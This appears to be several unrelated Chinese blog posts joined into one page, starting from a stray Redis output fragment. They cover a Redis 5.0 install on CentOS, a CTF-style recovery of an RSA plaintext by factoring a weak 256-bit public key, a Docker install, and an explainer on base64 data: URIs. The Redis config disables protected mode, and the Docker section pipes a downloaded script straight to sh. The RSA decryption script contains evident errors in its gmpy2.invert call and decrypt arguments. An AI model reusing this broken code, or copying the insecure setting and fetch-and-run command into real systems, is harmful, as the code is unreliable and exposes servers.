lrange score1 0 -1 1) "1" 2) "aaa" 127.0.0.1:6379> lrange score2 0 -1 1) "3" 2) "bbb" 3) "1" 4) "4"
1. 环境介绍CentOS7 (未安装Development Tools)2. 下载Redis5.0-rc3wget -O redis-5.0-rc3.tar.gz https://github.com/antirez/redis/archive/5.0-rc3.tar.gz3. 解压redistar -zxvf redis-5.0-rc3.tar.gz -C /usr/local4. 编译并安装cd /usr/local/redis-5.0-rc3 make此时会出错:compilation terminated. make[1]: *** [adlist.o] Error 1 make[1]: Leaving directory `/usr/local/redis-5.0-rc3/src' make: *** [all] Error 2安装Development Toolsyum groupinstall 'Development Tools'再次执行,还会报错make cd src && make all make[1]: Entering directory `/usr/local/redis-5.0-rc3/src' CC adlist.o In file included from adlist.c:34:0: zmalloc.h:50:31: fatal error: jemalloc/jemalloc.h: No such file or directory #include <jemalloc/jemalloc.h> ^ compilation terminated. make[1]: *** [adlist.o] Error 1 make[1]: Leaving directory `/usr/local/redis-5.0-rc3/src' make: *** [all] Error 2最后解决方案如下:cd /usr/local/redis-5.0-rc3/deps; make hiredis lua jemalloc linenoise编译完成后再次在/usr/local/redis-5.0-rc3中执行make命令cd /usr/local/redis-5.0-rc3 make出现如下即编译成功Hint: It's a good idea to run 'make test' make[1]: Leaving directory `/usr/local/redis-5.0-rc3/src'然后在/usr/local/redis-5.0-rc3/src中执行安装命令:cd /usr/local/redis-5.0-rc3/src make install会出现如下日志信息Hint: It's a good idea to run 'make test' INSTALL install INSTALL install INSTALL install INSTALL install INSTALL install5. 修改redis.conf配置文件vim /usr/local/redis-5.0-rc3/redis.conf只需要调整如下几个即可protected-mode no # 关闭保护模式 daemonize yes # 守护进程模式开启6. 启动redis5.0/usr/local/redis-5.0-rc3/src/redis-server /usr/local/redis-5.0-rc3/redis.conf其实我们在执行make install的时候会将src下面的几个命令复制到/usr/local/bin/下面去,也可以执行如下命令启动redis5.0/usr/local/bin/redis-server /usr/local/redis-5.0-rc3/redis.conf检查端口netstat -ltnp |grep 6379如果有端口监听,说明redis已经启动成功。连接下试试redis-cli 127.0.0.1:6379> info # Server redis_version:4.9.103 redis_git_sha1:00000000 redis_git_dirty:0 redis_build_id:207f31cf830c081e redis_mode:standalone os:Linux 3.10.0-693.17.1.el7.x86_64 x86_64 arch_bits:64 multiplexing_api:epoll atomicvar_api:atomic-builtin gcc_version:4.8.5 process_id:20361 run_id:4835668974ad86f1db9b3c8b98e02be1a87a7b9b tcp_port:6379 uptime_in_seconds:689 uptime_in_days:0 hz:10 lru_clock:3944003为什么能在任意目录执行redis-cli命令呢,因为redis-cli命令在/usr/local/bin目录里面,而该目录又配置在PATH中,所以你可以向执行ls、mkdir等命令的方式去执行redis-cli或者redis-server等命令。一般我们在安装完redis后就会将其安装包给删除,那么我们只需要将redis.conf配置文件移动的其他目录,比如:/etc/redis/redis.conf中,具体位置在哪请按照自己的习惯或者规范放置即可。
前言 最近在学习RSA加解密过程中遇到一个这样的难题:假设已知publickey公钥文件和加密后的密文flag,如何对其密文进行解密,转换成明文~~分析 对于rsa算法的公钥与私钥的产生,我们可以了解到以下产生原理:公钥与私钥的产生随机选择两个不同大质数 $p$ 和 $q$,计算 $N = p \times q$根据欧拉函数,求得 $r=\varphi (N)=\varphi (p)\varphi (q)=(p-1)(q-1)$选择一个小于 $r$ 的整数 $e$,使 $e$ 和 $r$ 互质。并求得 $e$ 关于 $r$ 的模反元素,命名为 $d$,有 $ed\equiv 1 \pmod r$将 $p$ 和 $q$ 的记录销毁此时,$(N,e)$ 是公钥,$(N,d)$ 是私钥。消息加密首先需要将消息 $m$ 以一个双方约定好的格式转化为一个小于 $N$,且与 $N$ 互质的整数 $n$。如果消息太长,可以将消息分为几段,这也就是我们所说的块加密,后对于每一部分利用如下公式加密:消息解密利用密钥 $d$ 进行解密。我们可以知道,RSA公钥主要有两个信息:模数(modulus)和指数(exponent),也就是我们所说的N和e。只要有了这两个信息,我们便可以生成公钥,然后使用rsa库对数据进行加密~脚本实现如下:#!/usr/bin/env python # -*- coding: utf-8 -*- import rsa key = rsa.PublicKey(modulus, exponent) print key这时候我们有如下的publickey.pem文件:-----BEGIN PUBLIC KEY----- MDwwDQYJKoZIhvcNAQEBBQADKwAwKAIhAMJjauXD2OQ/+5erCQKPGqxsC/bNPXDr yigb/+l/vjDdAgMBAAE= -----END PUBLIC KEY-----现在我们需要做的就是从这段字符串中提出模数和指数。首先我们得知道pem文件是什么?简单来讲,pem文件这种格式就是用于ASCII(Base64)编码的各种X.509 v3 证书。文件开始由一行"-----BEGIN PUBLIC KEY-----“开始,由"-----END PUBLIC KEY-----"结束pem类型的数据除去begin和end之外的内容,要根据base64编码解码后,得到的数据需要进行增加或裁剪特殊字符-、\n、\r、begin信息、end信息等。这里有张图片很清楚的解释了这个问题~~既然我们现在已经知道了pem这种文件格式,并且也知道其中的数据内容,我们该如何对这种文件内容进行解密呢?我们可以做以下尝试Base64解码尝试:#!/usr/bin/env python # -*- coding: utf-8 -*- import base64 pubkey = "MDwwDQYJKoZIhvcNAQEBBQADKwAwKAIhAMJjauXD2OQ/+5erCQKPGqxsC/bNPXDr yigb/+l/vjDdAgMBAAE=" b64_str = base64.b64decode(pubkey) print b64_str print len(b64_str)解码以后如下:很明显,我们解出来一段乱码,我们尝试把这串乱码转换成16进制,这里我们用的是python自带的binascii库进行解码发现结尾是"\x01\x00\x01",10001,看多了rsa的公钥,就知道这个数,多半是exponent了。再看看解码后的长度为162,我们找到偏移表,发现模数的偏移位置是159,长度是3,加起来正好162~那么说明这段字符串就是指数和模数加密过后的结果,甚至比一般的pem文件中的信息还要简单~按照这个思路,对照偏移表我们找出指数e和模数N:# /usr/bin/python # -*- coding: utf-8 -*- import base64 def str2key(s): # 对字符串解码 b_str = base64.b64decode(s) if len(b_str) < 162: return False hex_str = '' # 按位转换成16进制 for x in b_str: h = hex(ord(x))[2:] h = h.rjust(2, '0') hex_str += h # 找到模数和指数的开头结束位置 m_start = 29 * 2 e_start = 159 * 2 m_len = 128 * 2 e_len = 3 * 2 modulus = hex_str[m_start:m_start + m_len] exponent = hex_str[e_start:e_start + e_len] return modulus,exponent if __name__ == "__main__": pubkey = "MDwwDQYJKoZIhvcNAQEBBQADKwAwKAIhAMJjauXD2OQ/+5erCQKPGqxsC/bNPXDr yigb/+l/vjDdAgMBAAE=" key = str2key(pubkey) print key结果如下:('C2636AE5C3D8E43FFB97AB09028F1AAC6C0BF6CD3D70EBCA281BFFE97FBE30DD', '010001')这个即为我们求出来模数N和指数e。当然我们也可以用一些比较方便的工具,Kali Linux里面自带了openssl,其他版本的Linux官方也提供了源码安装:https://github.com/openssl/openssl而在Windows下安装大家可以参考这篇文章:https://bbs.csdn.net/topics/392193545?page=1,当然我还是不建议大家在Windows下进行操作,安装过程相对麻烦,而且可能安装过程中会出现各种状况~~~我们使用如下命令对pubkey.pem找出指数e和模数N:openssl rsa -pubin -text -modulus -in warmup -in pubkey.pem结果如下:我们可以得到如下参数:e=65537 (0x10001)Modulus即为N=C2636AE5C3D8E43FFB97AB09028F1AAC6C0BF6CD3D70EBCA281BFFE97FBE30DD然后我们可以使用yafu对n进行因数分解,得到p、qp=275127860351348928173285174381581152299q=319576316814478949870590164193048041239解码网站在这里:https://factordb.com/至此,各个参数已经求得如下,可以编写代码获得私钥,再用私钥解密密文,得到明文信息~p = 275127860351348928173285174381581152299q = 319576316814478949870590164193048041239N = 87924348264132406875276140514499937145050893665602592992418171647042491658461e = 65537我们可以开始用python写脚本了~#!/usr/bin/env python # -*- coding: utf-8 -*- import gmpy2 import rsa p = 275127860351348928173285174381581152299 q = 319576316814478949870590164193048041239 N = 87924348264132406875276140514499937145050893665602592992418171647042491658461 e = 65537 d = int(gmpy2.invert((e,p - 1) * (q - 1))) privatekey = rsa.PrivateKey(N,e,d,p,q) s = open("flag.enc","rb") print rsa.decrypt(s.read().privatekey).decode()结果如下:当然了,我们也可以用之前的公钥对一段信息进行加密操作,具体实现过程如下:#!/usr/bin/env python # -*- coding: utf-8 -*- import rsa import base64 message = 'Angel_Kitty' key = ('C2636AE5C3D8E43FFB97AB09028F1AAC6C0BF6CD3D70EBCA281BFFE97FBE30DD', '010001') modulus = int(key[0], 16) exponent = int(key[1], 16) rsa_pubkey = rsa.PublicKey(modulus, exponent) crypto = rsa.encrypt(message, rsa_pubkey) b64str = base64.b64encode(crypto) print b64str加密结果如下:这样子我们就得到一个rsa加密,base64编码过的字符串了,我们这个过程主要就是在一串字符串中,对照一个偏移表,提取需要的位置上的数字~~本文用到的文件我已经上传到本地,点击下载即可:https://files.cnblogs.com/files/ECJTUACM-873284962/RSA公钥文件解密密文的原理分析实例.rar
今天在学习Docker的时候使用yum install docker安装完后启动不了,报错如下:[root@Sakura ~]# service docker start docker: unrecognized service一直停留在以上步骤,如果有遇到和我一样类似问题的小伙伴可以按照如下方法进行安装,即可安装成功~~方法一:先移除docker[root@Sakura ~]# yum remove docker再移除docker-selinux(如果你之前有安装过的话)[root@Sakura ~]# yum remove docker-selinux然后修改文件[root@Sakura ~]# vi /etc/yum.repos.d/docker.repo直接填入如下内容:[dockerrepo] name=Docker Repository baseurl=https://yum.dockerproject.org/repo/main/centos/$releasever/ enabled=1 gpgcheck=1 gpgkey=https://yum.dockerproject.org/gpg然后启动安装:[root@Sakura ~]# yum install docker-engine作为依赖被安装: docker-engine-selinux.noarch 0:1.10.2-1.el7.centos然后启动docker服务:[root@Sakura ~]# service docker start返回如下状态码:Starting cgconfig service: [ OK ] Starting docker: [ OK ]即可完美的使docker启动成功!!!方法二:直接用这条命令安装[root@Sakura ~]# curl -fsSL https://get.docker.com/ | sh + sh -c 'sleep 3; yum -y -q install docker-engine'可能会有以下提示信息,我们不需要去管:警告:/var/cache/yum/x86_64/7/docker-main-repo/packages/docker-engine-selinux-1.10.2-1.el7.centos.noarch.rpm: 头V4 RSA/SHA512 Signature, 密钥 ID 2c52609d: NOKEY docker-engine-selinux-1.10.2-1.el7.centos.noarch.rpm 的公钥尚未安装 导入 GPG key 0x2C52609D: 用户ID : "Docker Release Tool (releasedocker) " 指纹 : 5811 8e89 f3a9 1289 7c07 0adb f762 2157 2c52 609d 来自 : https://yum.dockerproject.org/gpg setsebool: SELinux is disabled. + sh -c 'docker version' Client: Version: 1.10.2 API version: 1.22 Go version: go1.5.3 Git commit: c3959b1 Built: Mon Feb 22 16:16:33 2016 OS/Arch: linux/amd64 Cannot connect to the Docker daemon. Is the docker daemon running on this host? If you would like to use Docker as a non-root user, you should now consider adding your user to the "docker" group with something like: sudo usermod -aG docker your-user Remember that you will have to log out and back in for this to take effect!然后直接启动就好了~~~[root@Sakura ~]# service docker start Redirecting to /bin/systemctl start docker.service
前言偶尔加入一个网安群的时候,入群题目是这个:data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAANwAAAAoCAIAAAAaOwPZAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsMAAA7DAcdvqGQAAAQuSURBVHhe7ZptmoMgDIR7rh6o5+lpvEwP01XUGshAokgX+8z+7PKRTF6SoN7e/KMCnSlw68wemkMF3oSSEHSnAKHsLiQ0iFCSge4UIJTdhYQGEUoy0J0ChLK7kNAgQkkGulOAUHYXEhpEKMlAdwpcG8rhcRv/HkN3stIgW4F88DYoX89nObjmANuOc0eMXpHHcyX9+mowhgHKmdlChM0BZzvzet6DSSW7xjEWk8Hu+/O1x7zF1237/Uu4t/O46V6sZuARoZb9KqbO7On4rJlykqcYYnNAjSbx3Gmrj6WTzxirVlA+90F82G+nm4fX3zOxgqyKqRaUU7b8FpRDOeyjJa7k5oByT1yWse4mxfDC3NrrprnQtQeUMuUXoURmCGHdKfl/oTS8MElxu2mudO0BXUCZL8efVGU0EmsQjkGpM2H8y/CwGtW1C3el8ywxhHKWxgOlaPNj0VcRRW+OoiKvCXF0o6YeXWLQDaNQyMf1Clhsi22D9HUNXOBCVZamaBmiO5BxRdRQOt3M3oFUAD4/HDolSChx7AvXzRIJQtgsUfMu6HB+HglNLc5d5KiwpcAqTH7Idk/lvLD9Z0rUx4vYWL2UJ4WY6XbdL91ML57+EjsRNEMnw/LCrKklN9NNkbuLvKsdabjM/ZMByh+PDWuuw6kDEYXPzeSfzGARlNG1M1ENRCfGLlUuJ5MVTg+UyxGzC+1+KN/DkDyuTSVbqo7vNnagfKPTrH9b8pQtgQ/PRCifDTaUJaIWw8adUycklLrcppkyCZfkJ5cYlSZnQTkmsYf58OYAlMpg6JnlhYlC9uxhIdWvbr1NS8Ahc9pgQlkkai3fOorVUK4JGeYTJIgVTm+mnCqrmSfOgDJ0mOlOlhcmClk3M0KmPzeF0mnDGVB6LjqbmKB8p5GRQ34DStRCdpEpp5MRNWRNocwsjk9i7nyqugzPYTWUSZuqe0qVucAT5tgH9ITmxEdCdihjpcCVAgfI8uJ4pgx3K3UhgBeRQ9dtbJmjp1TnYmsKoSH1UGqKE23mxlrsri4yKsuAFnZ5BrAugypw0/IdSvHmxHJbEI6lREzj0asuOc7TR8BONdd9pNKCo4LRNY9CdgCEXjqObDhQvsFpy7z7DsqHP9khxp9DzNeKbSR+Iy3/n31tqVFYe17xFUZkTu507+4px4USFwBRm32lbzFyXphgRMtn3cwqqaef8a0UrMHlaJYM8RC1Iq2DeOXvKUdVjALmzromST8+4N+Egm9rrwzl/DpAVlddnE9su36Jyx6ECtkUxufaUMJOzfwQsxldUbnTLyO/ckCcNsS112yDmkkGF/4xKL8rHndrowChbKMrV61QgFBWiMepbRQglG105aoVChDKCvE4tY0ChLKNrly1QgFCWSEep7ZRgFC20ZWrVihAKCvE49Q2ChDKNrpy1QoF/gDXIhmWmc+CSAAAAABJRU5ErkJggg==刚开始还是挺懵逼的,诶,是Base64编码嘛?看样子好像是图片转成Base64的,然后放在搜索引擎一回车,竟然是得到了入群密码,是不是有点神奇?咳咳,下面要进入重点了~~~data:image/png;base64是什么?翻阅了一些资料才知道,这是在RFC2397中定义的Data URI scheme,目的是将一些小的数据,直接嵌入到网页中,从而不用再从外部文件载入。优点: 减少HTTP请求数,没有了TCP连接消耗和同一域名下浏览器的并发数限制。对于小文件会降低带宽。虽然编码后数据量会增加,但是却减少了http头,当http头的数据量大于文件编码的增量,那么就会降低带宽。对于HTTPS站点,HTTPS和HTTP混用会有安全提示,而HTTPS相对于HTTP来讲开销要大更多,所以Data URI在这方面的优势更明显。可以把整个多媒体页面保存为一个文件。缺点: 无法被重复利用,同一个文档应用多次同一个内容,则需要重复多次,数据量大量增加,增加了下载时间。无法被独自缓存,所以其包含文档重新加载时,它也要重新加载。客户端需要重新解码和显示,增加了点消耗。不支持数据压缩,base64编码会增加1/3大小,而urlencode后数据量会增加更多。不利于安全软件的过滤,同时也存在一定的安全隐患。Data URI Scheme的基本概念《HTTP权威指南》对URI和URL的定义:URI(Uniform Resource Identifier):统一资源标识符,服务器资源名被称为统一资源标识符。URL(Uniform Resource Locator):统一资源定位符,描述了一台特定服务器上某资源的特定位置。URN(Uniform Resource Name):统一资源名称。URL组成:协议://主机名[:端口]/ 路径/[:参数] [?查询]#Fragment protocol :// hostname[:port] / path / [:parameters][?query]#fragmentURI,URL,URN三者关系:URL,URN是URI的子集什么是Data URI Schemedata URI scheme 允许我们使用内联(inline-code)的方式在网页中包含数据,目的是将一些小的数据,直接嵌入到网页中,从而不用再从外部文件载入。常用于将图片嵌入网页。传统的图片HTML是这样用的:img src="images/image.png"/Data URI的图片内嵌式是这样用的:img src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAANwAAAAoCAIAAAAaOwPZAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsMAAA7DAcdvqGQAAAQuSURBVHhe7ZptmoMgDIR7rh6o5+lpvEwP01XUGshAokgX+8z+7PKRTF6SoN7e/KMCnSlw68wemkMF3oSSEHSnAKHsLiQ0iFCSge4UIJTdhYQGEUoy0J0ChLK7kNAgQkkGulOAUHYXEhpEKMlAdwpcG8rhcRv/HkN3stIgW4F88DYoX89nObjmANuOc0eMXpHHcyX9+mowhgHKmdlChM0BZzvzet6DSSW7xjEWk8Hu+/O1x7zF1237/Uu4t/O46V6sZuARoZb9KqbO7On4rJlykqcYYnNAjSbx3Gmrj6WTzxirVlA+90F82G+nm4fX3zOxgqyKqRaUU7b8FpRDOeyjJa7k5oByT1yWse4mxfDC3NrrprnQtQeUMuUXoURmCGHdKfl/oTS8MElxu2mudO0BXUCZL8efVGU0EmsQjkGpM2H8y/CwGtW1C3el8ywxhHKWxgOlaPNj0VcRRW+OoiKvCXF0o6YeXWLQDaNQyMf1Clhsi22D9HUNXOBCVZamaBmiO5BxRdRQOt3M3oFUAD4/HDolSChx7AvXzRIJQtgsUfMu6HB+HglNLc5d5KiwpcAqTH7Idk/lvLD9Z0rUx4vYWL2UJ4WY6XbdL91ML57+EjsRNEMnw/LCrKklN9NNkbuLvKsdabjM/ZMByh+PDWuuw6kDEYXPzeSfzGARlNG1M1ENRCfGLlUuJ5MVTg+UyxGzC+1+KN/DkDyuTSVbqo7vNnagfKPTrH9b8pQtgQ/PRCifDTaUJaIWw8adUycklLrcppkyCZfkJ5cYlSZnQTkmsYf58OYAlMpg6JnlhYlC9uxhIdWvbr1NS8Ahc9pgQlkkai3fOorVUK4JGeYTJIgVTm+mnCqrmSfOgDJ0mOlOlhcmClk3M0KmPzeF0mnDGVB6LjqbmKB8p5GRQ34DStRCdpEpp5MRNWRNocwsjk9i7nyqugzPYTWUSZuqe0qVucAT5tgH9ITmxEdCdihjpcCVAgfI8uJ4pgx3K3UhgBeRQ9dtbJmjp1TnYmsKoSH1UGqKE23mxlrsri4yKsuAFnZ5BrAugypw0/IdSvHmxHJbEI6lREzj0asuOc7TR8BONdd9pNKCo4LRNY9CdgCEXjqObDhQvsFpy7z7DsqHP9khxp9DzNeKbSR+Iy3/n31tqVFYe17xFUZkTu507+4px4USFwBRm32lbzFyXphgRMtn3cwqqaef8a0UrMHlaJYM8RC1Iq2DeOXvKUdVjALmzromST8+4N+Egm9rrwzl/DpAVlddnE9su36Jyx6ECtkUxufaUMJOzfwQsxldUbnTLyO/ckCcNsS112yDmkkGF/4xKL8rHndrowChbKMrV61QgFBWiMepbRQglG105aoVChDKCvE4tY0ChLKNrly1QgFCWSEep7ZRgFC20ZWrVihAKCvE49Q2ChDKNrpy1QoF/gDXIhmWmc+CSAAAAABJRU5ErkJggg=="/Data URI的直接通过url传递方式:data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAANwAAAAoCAIAAAAaOwPZAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsMAAA7DAcdvqGQAAAQuSURBVHhe7ZptmoMgDIR7rh6o5+lpvEwP01XUGshAokgX+8z+7PKRTF6SoN7e/KMCnSlw68wemkMF3oSSEHSnAKHsLiQ0iFCSge4UIJTdhYQGEUoy0J0ChLK7kNAgQkkGulOAUHYXEhpEKMlAdwpcG8rhcRv/HkN3stIgW4F88DYoX89nObjmANuOc0eMXpHHcyX9+mowhgHKmdlChM0BZzvzet6DSSW7xjEWk8Hu+/O1x7zF1237/Uu4t/O46V6sZuARoZb9KqbO7On4rJlykqcYYnNAjSbx3Gmrj6WTzxirVlA+90F82G+nm4fX3zOxgqyKqRaUU7b8FpRDOeyjJa7k5oByT1yWse4mxfDC3NrrprnQtQeUMuUXoURmCGHdKfl/oTS8MElxu2mudO0BXUCZL8efVGU0EmsQjkGpM2H8y/CwGtW1C3el8ywxhHKWxgOlaPNj0VcRRW+OoiKvCXF0o6YeXWLQDaNQyMf1Clhsi22D9HUNXOBCVZamaBmiO5BxRdRQOt3M3oFUAD4/HDolSChx7AvXzRIJQtgsUfMu6HB+HglNLc5d5KiwpcAqTH7Idk/lvLD9Z0rUx4vYWL2UJ4WY6XbdL91ML57+EjsRNEMnw/LCrKklN9NNkbuLvKsdabjM/ZMByh+PDWuuw6kDEYXPzeSfzGARlNG1M1ENRCfGLlUuJ5MVTg+UyxGzC+1+KN/DkDyuTSVbqo7vNnagfKPTrH9b8pQtgQ/PRCifDTaUJaIWw8adUycklLrcppkyCZfkJ5cYlSZnQTkmsYf58OYAlMpg6JnlhYlC9uxhIdWvbr1NS8Ahc9pgQlkkai3fOorVUK4JGeYTJIgVTm+mnCqrmSfOgDJ0mOlOlhcmClk3M0KmPzeF0mnDGVB6LjqbmKB8p5GRQ34DStRCdpEpp5MRNWRNocwsjk9i7nyqugzPYTWUSZuqe0qVucAT5tgH9ITmxEdCdihjpcCVAgfI8uJ4pgx3K3UhgBeRQ9dtbJmjp1TnYmsKoSH1UGqKE23mxlrsri4yKsuAFnZ5BrAugypw0/IdSvHmxHJbEI6lREzj0asuOc7TR8BONdd9pNKCo4LRNY9CdgCEXjqObDhQvsFpy7z7DsqHP9khxp9DzNeKbSR+Iy3/n31tqVFYe17xFUZkTu507+4px4USFwBRm32lbzFyXphgRMtn3cwqqaef8a0UrMHlaJYM8RC1Iq2DeOXvKUdVjALmzromST8+4N+Egm9rrwzl/DpAVlddnE9su36Jyx6ECtkUxufaUMJOzfwQsxldUbnTLyO/ckCcNsS112yDmkkGF/4xKL8rHndrowChbKMrV61QgFBWiMepbRQglG105aoVChDKCvE4tY0ChLKNrly1QgFCWSEep7ZRgFC20ZWrVihAKCvE49Q2ChDKNrpy1QoF/gDXIhmWmc+CSAAAAABJRU5ErkJggg==在浏览器地址栏中输入以上代码,可直接显示那个flag!!!Data URI的格式规范data:[<mime type>][;charset=<charset>][;<encoding>],<encoded data> 1. data :协议名称; 2. [<mime type>] :可选项,数据类型(image/png、text/plain等) 3. [;charset=<charset>] :可选项,源文本的字符集编码方式 4. [;<encoding>] :数据编码方式(默认US-ASCII,BASE64两种) 5. ,<encoded data> :编码后的数据目前,Data URI scheme支持的类型有:data:, 文本数据 data:text/plain, 文本数据 data:text/html, HTML代码 data:text/html;base64, base64编码的HTML代码 data:text/css, CSS代码 data:text/css;base64, base64编码的CSS代码 data:text/javascript, Javascript代码 data:text/javascript;base64, base64编码的Javascript代码 data:image/gif;base64, base64编码的gif图片数据 data:image/png;base64, base64编码的png图片数据 data:image/jpeg;base64, base64编码的jpeg图片数据 data:image/x-icon;base64, base64编码的icon图片数据Data URI和MHTML两者的配合可以完整的解决所有的主流浏览器,它们由于无法被缓存和重复利用的缺陷,所以并不适合直接在页面中使用,但在CSS和JavaScript文件中对图片适当地使用有非常大的优越性:大大减少请求数,现在大型网站的CSS引用了大量的图片资源。CSS和JavaScript都可以被缓存,间接的实现了数据的缓存。利用CSS可以解决Data URI的重复利用问题。告别CSS Sprites,CSS Sprites的出现是为了减少请求数,但它除了带来在不确定情况下的异常外,CSSSprites还需要人为的图片合并,即使有合并工具也依旧必须人为地在如何有效的拼图上耗费大量的时间,并带来维护的困难。当你遵循一定的设计原则后, 你就可以完全抛弃CSS Sprites来编写CSS,最后使用工具在上传到服务器环节把图片转换成Data URI和MHTML,如《利用data-uri合并样式表和图片》中用python实现的工具,这可以节约大量的时间。base64编码把图片文件增加了1/3,Data URI和MHTML同时使用相当于增加了2/3,但CSS和JavaScript可以使用gzip压缩,其可以节省2/3的数据量,所以使用gzip压缩后的最终数据量是(1 + 1/3) * 2 * (1/3) = 8/9,所以最终流量是减少的。它把一些 8-bit 数据翻译成标准 ASCII 字符,网上有很多免费的base64 编码和解码的工具。在网页上显示出来的标准方法是:<img src=”data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAANwAAAAoCAIAAAAaOwPZAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsMAAA7DAcdvqGQAAAQuSURBVHhe7ZptmoMgDIR7rh6o5+lpvEwP01XUGshAokgX+8z+7PKRTF6SoN7e/KMCnSlw68wemkMF3oSSEHSnAKHsLiQ0iFCSge4UIJTdhYQGEUoy0J0ChLK7kNAgQkkGulOAUHYXEhpEKMlAdwpcG8rhcRv/HkN3stIgW4F88DYoX89nObjmANuOc0eMXpHHcyX9+mowhgHKmdlChM0BZzvzet6DSSW7xjEWk8Hu+/O1x7zF1237/Uu4t/O46V6sZuARoZb9KqbO7On4rJlykqcYYnNAjSbx3Gmrj6WTzxirVlA+90F82G+nm4fX3zOxgqyKqRaUU7b8FpRDOeyjJa7k5oByT1yWse4mxfDC3NrrprnQtQeUMuUXoURmCGHdKfl/oTS8MElxu2mudO0BXUCZL8efVGU0EmsQjkGpM2H8y/CwGtW1C3el8ywxhHKWxgOlaPNj0VcRRW+OoiKvCXF0o6YeXWLQDaNQyMf1Clhsi22D9HUNXOBCVZamaBmiO5BxRdRQOt3M3oFUAD4/HDolSChx7AvXzRIJQtgsUfMu6HB+HglNLc5d5KiwpcAqTH7Idk/lvLD9Z0rUx4vYWL2UJ4WY6XbdL91ML57+EjsRNEMnw/LCrKklN9NNkbuLvKsdabjM/ZMByh+PDWuuw6kDEYXPzeSfzGARlNG1M1ENRCfGLlUuJ5MVTg+UyxGzC+1+KN/DkDyuTSVbqo7vNnagfKPTrH9b8pQtgQ/PRCifDTaUJaIWw8adUycklLrcppkyCZfkJ5cYlSZnQTkmsYf58OYAlMpg6JnlhYlC9uxhIdWvbr1NS8Ahc9pgQlkkai3fOorVUK4JGeYTJIgVTm+mnCqrmSfOgDJ0mOlOlhcmClk3M0KmPzeF0mnDGVB6LjqbmKB8p5GRQ34DStRCdpEpp5MRNWRNocwsjk9i7nyqugzPYTWUSZuqe0qVucAT5tgH9ITmxEdCdihjpcCVAgfI8uJ4pgx3K3UhgBeRQ9dtbJmjp1TnYmsKoSH1UGqKE23mxlrsri4yKsuAFnZ5BrAugypw0/IdSvHmxHJbEI6lREzj0asuOc7TR8BONdd9pNKCo4LRNY9CdgCEXjqObDhQvsFpy7z7DsqHP9khxp9DzNeKbSR+Iy3/n31tqVFYe17xFUZkTu507+4px4USFwBRm32lbzFyXphgRMtn3cwqqaef8a0UrMHlaJYM8RC1Iq2DeOXvKUdVjALmzromST8+4N+Egm9rrwzl/DpAVlddnE9su36Jyx6ECtkUxufaUMJOzfwQsxldUbnTLyO/ckCcNsS112yDmkkGF/4xKL8rHndrowChbKMrV61QgFBWiMepbRQglG105aoVChDKCvE4tY0ChLKNrly1QgFCWSEep7ZRgFC20ZWrVihAKCvE49Q2ChDKNrpy1QoF/gDXIhmWmc+CSAAAAABJRU5ErkJggg==” />data:image/png;base64相当于图片的Data URL,它是利用base64编码把图片数据翻译成标准ASCII字符,等同于<img src="images/image.png"/> 换句话说我们把图像文件的内容内置在 HTML 文件中,节省了一个 HTTP 请求。在 CSS 中使用:body { background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAANwAAAAoCAIAAAAaOwPZAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsMAAA7DAcdvqGQAAAQuSURBVHhe7ZptmoMgDIR7rh6o5+lpvEwP01XUGshAokgX+8z+7PKRTF6SoN7e/KMCnSlw68wemkMF3oSSEHSnAKHsLiQ0iFCSge4UIJTdhYQGEUoy0J0ChLK7kNAgQkkGulOAUHYXEhpEKMlAdwpcG8rhcRv/HkN3stIgW4F88DYoX89nObjmANuOc0eMXpHHcyX9+mowhgHKmdlChM0BZzvzet6DSSW7xjEWk8Hu+/O1x7zF1237/Uu4t/O46V6sZuARoZb9KqbO7On4rJlykqcYYnNAjSbx3Gmrj6WTzxirVlA+90F82G+nm4fX3zOxgqyKqRaUU7b8FpRDOeyjJa7k5oByT1yWse4mxfDC3NrrprnQtQeUMuUXoURmCGHdKfl/oTS8MElxu2mudO0BXUCZL8efVGU0EmsQjkGpM2H8y/CwGtW1C3el8ywxhHKWxgOlaPNj0VcRRW+OoiKvCXF0o6YeXWLQDaNQyMf1Clhsi22D9HUNXOBCVZamaBmiO5BxRdRQOt3M3oFUAD4/HDolSChx7AvXzRIJQtgsUfMu6HB+HglNLc5d5KiwpcAqTH7Idk/lvLD9Z0rUx4vYWL2UJ4WY6XbdL91ML57+EjsRNEMnw/LCrKklN9NNkbuLvKsdabjM/ZMByh+PDWuuw6kDEYXPzeSfzGARlNG1M1ENRCfGLlUuJ5MVTg+UyxGzC+1+KN/DkDyuTSVbqo7vNnagfKPTrH9b8pQtgQ/PRCifDTaUJaIWw8adUycklLrcppkyCZfkJ5cYlSZnQTkmsYf58OYAlMpg6JnlhYlC9uxhIdWvbr1NS8Ahc9pgQlkkai3fOorVUK4JGeYTJIgVTm+mnCqrmSfOgDJ0mOlOlhcmClk3M0KmPzeF0mnDGVB6LjqbmKB8p5GRQ34DStRCdpEpp5MRNWRNocwsjk9i7nyqugzPYTWUSZuqe0qVucAT5tgH9ITmxEdCdihjpcCVAgfI8uJ4pgx3K3UhgBeRQ9dtbJmjp1TnYmsKoSH1UGqKE23mxlrsri4yKsuAFnZ5BrAugypw0/IdSvHmxHJbEI6lREzj0asuOc7TR8BONdd9pNKCo4LRNY9CdgCEXjqObDhQvsFpy7z7DsqHP9khxp9DzNeKbSR+Iy3/n31tqVFYe17xFUZkTu507+4px4USFwBRm32lbzFyXphgRMtn3cwqqaef8a0UrMHlaJYM8RC1Iq2DeOXvKUdVjALmzromST8+4N+Egm9rrwzl/DpAVlddnE9su36Jyx6ECtkUxufaUMJOzfwQsxldUbnTLyO/ckCcNsS112yDmkkGF/4xKL8rHndrowChbKMrV61QgFBWiMepbRQglG105aoVChDKCvE4tY0ChLKNrly1QgFCWSEep7ZRgFC20ZWrVihAKCvE49Q2ChDKNrpy1QoF/gDXIhmWmc+CSAAAAABJRU5ErkJggg==");}关于移动端的性能可以参考 Peter McLachlan在13年写的一片文章:http://www.mobify.com/blog/data-uris-are-slow-on-mobile/
